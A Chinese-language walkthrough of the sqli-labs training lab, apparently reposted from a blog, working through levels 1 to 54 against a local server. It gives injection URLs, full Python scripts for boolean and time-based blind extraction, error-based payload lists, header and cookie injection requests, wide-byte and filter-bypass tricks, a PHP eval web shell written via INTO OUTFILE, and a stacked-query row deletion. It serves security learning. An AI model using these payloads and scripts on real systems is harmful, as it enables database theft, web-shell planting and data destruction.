sql-labs靶機通關
原文鏈接:http://p0desta.com/2018/01/28/Sqli_labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/#less-26a
1.Less-1
暴庫
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#檢查是否存在漏洞
http://127.0.0.1/4/Less-1/?id=1' 報錯
http://127.0.0.1/4/Less-1/?id=1' or '1'='1 正確
這裏第一句報錯是因爲還有一個單引號沒閉合
第二句恰好彌補了這個問題,這樣就足以說明存在注入漏洞
#補充
#檢測表的列數
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //報錯
#爆出當前數據庫
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,database(),3 %23
#爆出所有數據庫
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA %23
這裏說明一下group_concat()這個函數,這是一個聯合函數,將數據庫中一列的所有數據連接起來
#爆出指定用戶名的密碼
http://127.0.0.1/4/Less-1/?id=-1' union select * from users where username='admin' %23
這裏我試了一下,在瀏覽器中*並不會被編碼,所以可以直接使用,還有一點admin一定要加上引號,不然報錯,也就是說在sql語句查詢中必須對應數據類型,int就不用加,varchar和char就需要加上單或雙引號。
這裏給大家解釋一下爲什麼開頭兩個語句中id是1後面怎麼就全部改爲-1了,原因很簡單這裏變爲-1是爲了使前面的數據查詢爲空,這樣後面語句查詢出來的數據才能顯示出來。
#這裏自己構造了一個語句
http://127.0.0.1/4/Less-1/?id=-1' union select 1,group_concat(table_schema),group_concat(table_name) from information_schema.tables %23
上面這條語句可以爆出所有的數據庫及其相對於的表名
2.Less-2
數字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
#數值型不許要閉合單引號
http://127.0.0.1/4/Less-2/?id=-1 union select 1,database(),3
3.Less-3
括號單引號閉合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-3/?id=-1') union select 1,database(),3 %23
4.Less-4
括號雙引號閉合
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-4/?id=-1") union select 1,database(),3 %23
5.Less-5
檢測注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
此處爆出來數據庫名
#Author:p0desta
import requests
import string
import sys
import binascii
global findBit
Flag_yes = "You are in"
def sendPayload(payload):
url = 'http://127.0.0.1/4/Less-5/?id=1'+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def findTableNumber(dbname):
count = 1
dbname = '0x' + str(binascii.b2a_hex(dbname))
while count:
payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findColumnNumber(tableName):
count = 1
tableName = '0x' + str(binascii.b2a_hex(tableName))
while count:
payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findDataNumber(columnName,tableName):
count = 1
while count:
payload = "'AND (select count("+columnName+") from "+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearchDbs(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("`\r\n")
break
def getTableName(tableNum,dbName):
global findBit
dbName = '0x' + str(binascii.b2a_hex(dbName))
for k in range(tableNum):
i = 1
while i :
findBit = 0
doubleSearchTable(-1,255,i,k,dbName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getColumnName(columnNum,tableName):
global findBit
tableName = '0x' + str(binascii.b2a_hex(tableName))
for k in range(columnNum):
i = 1
while i :
findBit = 0
doubleSearchColumn(-1,255,i,k,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getDataName(dataNum,columnName,tableName):
global findBit
for k in range(dataNum):
i = 1
while i :
findBit = 0
doubleSearchData(-1,255,i,k,columnName,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearchDbs(leftNum,rightNum,i,k):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchDbs(midNum,rightNum,i,k)
else:
doubleSearchDbs(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchTable(midNum,rightNum,i,k,dbName)
else:
doubleSearchTable(leftNum,midNum,i,k,dbName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchColumn(midNum,rightNum,i,k,tableName)
else:
doubleSearchColumn(leftNum,midNum,i,k,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
global findBit
midNum = int((leftNum + rightNum) / 2)
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
else:
doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print ("the number of database is "+str(dbNum))
getDatabaseName(dbNum)
dbName = input('Find tables from :')
tableNum = findTableNumber(dbName)
print ("the nameber of table is: " + str(tableNum))
getTableName(tableNum,dbName)
tableName = input('Find columns from :')
columnNum = findColumnNumber(tableName)
print ("the number of column is: " + str(columnNum))
getColumnName(columnNum,tableName)
columnName = input('Find data from :')
dataNum = findDataNumber(columnName,tableName)
print ("the number of data is :" + str(dataNum))
getDataName(dataNum,columnName,tableName)
exp()
6.Less-6
雙引號檢測
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同上
7.Less-7
寫文件
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
select "<?php @eval($_POST['password']); ?>" into outfile "./1.php"
報錯信息:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
結果當我以下面這條語句執行時
http://127.0.0.1/4/Less-7/?id=-1')) union select 1,2,"<?php eval($_POST['mcc']); ?>" into outfile "D:/ruanjian/crack_env/phpstudy/PHPTutorial/WWW/4/Less-7/shell.php" %23
直接報錯
You have an error in your SQL syntax
看了一下源碼
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
從上面的兩條報錯信息可以看出,mysql只要開啓了 --secure-file-priv ,寫文件就會出錯
8.Less-8
同上面盲註腳本
9.Less-9
基於時間的注入
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/4/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,100):
for c in s:
payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7573657273 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
if ll==len(result):
print ('table_name: '+result)
end = input('-------------')
ll = len(result)
print (result)
10.Less-10
雙引號閉合
11.Less-11
#下面一段是頁面源碼
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
#在mantra的post數據中輸入如下代碼
uname = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
&passwd = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
這裏可以看出#並沒有被轉轉碼,post中#不需要轉碼
#這裏分享一下其它的payload
1、通過floor報錯,注入語句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過ExtractValue報錯,注入語句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通過UpdateXml報錯,注入語句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通過NAME_CONST報錯,注入語句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );
7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );
12.Less-12
與上題類似,只不過用")閉合
13.Less-13
uname=admin')#&passwd='#
14.Less-14
同時,需要用"閉合
15.Less-15
同上
16.Less-16
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://localhost:20000/sqllab/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()
17.Less-17
waf繞過
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
#這題出現了waf過濾
admin" and 1=(updatexml(1,concat(0x3a,(select user())),1))#&passwd='#
18.Less-18
header注入
#可以看出對uname和passwd都做了過濾
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
#但是請求頭卻沒有任何過濾
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
#利用burpsuite抓包再修改User-Agent即可注入
POST /4/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: chrome','7.7.7.7','mcc')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-18/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
#發送上面的包後,雖然頁面上還是沒什麼顯示,但數據已經成功插入數據庫
19.Less-19
同上
20.Less-20
同上
21.Less-21
#存在注入語句
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
#這裏可以看出cookie使存在漏洞的
GET /4/Less-21/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=YWRtaW4%3D
Connection: close
#我們可以反響構造cookie語句爆出其它用戶的密碼
payload:superman') #
base64加密:c3VwZXJtYW4nKSAj
將上面的加密後的字符填入cookie即可查詢superman的密碼
這裏通過通過修改本地cookie切換用戶還是存在一些問題,抓包發現cookie根本沒有上傳
22.Less-22
#相比於上一題多了一句話
$cookee1 = '"'. $cookee. '"';
#這裏我剛開始嘗試的是將admin" #轉碼再賦值給cookie,但是發現#並沒起作用,而是直接保存在了字符串中
#於是嘗試使用"閉合語句,構造下列語句
payload:admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
base64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjEK
#實測可以爆出數據庫名
這裏updatexml(1,concat(0x7e,database(),0x7e),1) 是一個報錯型SQL注入
23.Less-23
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#這次的payload過濾了註釋符號
#可以嘗試使用?id=-1' and select 1,table_schema,table_name from information_schema.tables where table_schema="security" and '1'='1
#但是發現因爲字符太長,被截斷了。
#於是還是用簡單一點的吧
http://127.0.0.1/4/Less-23/?id=-1' union select 1,database(),'1
24.Less-24
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
但這裏存在一個問題
仔細查看$username的來源就會發現
$username= $_SESSION["username"];
這是利用session來獲取的,除非暴力破解session,否則根本沒法改變username
這裏就是關鍵,如何構造出username爲admin’#的session,最後發現可以直接先註冊一個admin’#的賬後然後登陸,此時,$_SESSION[“username”]自然就變成了admin’#,然後再重置密碼,此時重置的賬戶就是admin的密碼了。
25.Less-25
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#最初想的的是直接上
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
#後來發現報錯,看函數,原來是or被替換爲了"",因此就多加了一個or
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
#直接爆出了所有的表
25a
http://127.0.0.1/4/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
26.Less-26
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-26/?id=-1'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1
#以上語句直接爆出了當前數據庫的所有表名
#這裏用()代替了空格
26a
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),1,1)))=('s
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),2,1)))=('e
...
構造腳本跑出數據庫名
27.Less-27
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#下面這條語句順利爆出了當前數據庫
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) ||'1'='1
#下面這條卻出現了語法錯誤
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) %23
從上面可以看出過濾了#
27a
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://127.0.0.1/4/Less-27a/?id=-1"||(seleCt(substr((seleCt(database())),1,1)))="s
同上
28.Less-28
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
這裏過濾掉了union和select
http://127.0.0.1/4/Less-28/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
也是剛纔理解了這句話
這裏相當於進行了id=('0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s')這一賦值語句
28a
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-28a/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
同上
29.Less-29
一下是login.php界面
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 --+
//上面的語句是通過設置白名單,只有請求的id和&之間的部分符合以數字開頭結尾即可,這裏的$_SERVER['QUERY_STRING']指的是?之後的字符串
//這裏看了很久,才發現--是sql語句的註釋符不是php的
最後得到的sql語句是
SELECT * FROM users WHERE id='' union select 1,database(),3 -- ' LIMIT 0,1
這裏的+號的作用還是沒想明白,可能是用作字符串拼接吧,不過我試了一下
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 -- '也是可以的
sql語句的註釋符
#
--
/**/
查這道題是看到一篇博客上介紹了三個函數,順便記錄下來
length()函數
length(database()) =8(true)
substr()函數
substr(database(),1,1)="s"(true)
ascii()函數
ascii(substr(database(),1,1)) = 115(對應的ascii碼是s)
30.Less-30
同上
31.Less-31
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-31/login.php/?id=1&id=") union select 1,database(),3 --+
//這裏服務器端接受的id是後一個id置
//有一個問題是爲什麼注入語句不直接是下面這條語句
http://127.0.0.1/4/Less-31/login.php/?id=") union select 1,database(),3 --+
//這句話是直接報錯的
//這裏,查了很多沒找到,自己猜測因該是用前一個的id定義繞過isset($_GET['id'])
//用後一個id作爲payload
32.Less-32
//檢測函數
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
http://127.0.0.1/4/Less-32/?id=-1 %df%27 union select 1,database(),3 %23
//此處需要說明一下preg_quote()函數,
//preg_quote() 需要參數 str 並向其中 每個正則表達式語法中的字符前增加一個反斜線。 這通常用於你有一些運行時字符串 需要作爲正則表達式進行匹配的時候。
//正則表達式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
//另外一種用法
<?php
//在這個例子中,preg_quote($word) 用於保持星號原文涵義,使其不使用正則表達式中的特殊語義。
$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
"<i>" . $word . "</i>",
$textbody);
echo $textbody;
?>
33.Less-33
同上
34.Less-34
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-34/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-34/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
uname=1+%df%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%bf%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%fe%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
35.Less-35
mysql_query("SET NAMES gbk");
http://127.0.0.1/4/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
36.Less-36
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
http://127.0.0.1/4/Less-36/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 %23
37.Less-37
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
uname=1%bf%27+or+1%3D1+%23&passwd=asdfaf&submit=Submit
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
uname=1%Bf%27+union+select+version%28%29%2Cdatabase%28%29%23&passwd=adsf&submit=Submit
以上兩個payload都是可行的
38.Less-38
疊加註入
http://127.0.0.1/4/Less-38/?id=-1' union select 1,database(),3;create database hcc;create table test like users;%23
39.Less-39
同上
40.Less-40
同上
41.Less-41
同上
42.Less-42
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//password注入
';delete from users where username="test2";#
' union select 1,database(),3;#
POST /4/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-42/
Cookie: PHPSESSID=96i2qhknegbma7it3tkkjecgg5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
login_user=1&login_password=' union select 1,database(),3;#&mysubmit=Login
43.Less-43
同上
44.Less-44
同上
45.Less-45
同上
46.Less-46
//構造腳本盲注
http://127.0.0.1/4/Less-46/?sort=rand(ascii(left(database(),1))=115)
47.Less-47
同上
48.Less-48
http://127.0.0.1/4/Less-48/?sort=(ascii(substr((select database()) ,1,1))) = 115
盲注
49.Less-49
同上
50.Less-50
疊加註入
51.Less-51
同上
52.Less-52
同上
53.Less-53
同上
54.Less-54
//得到表名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+
//得到列名
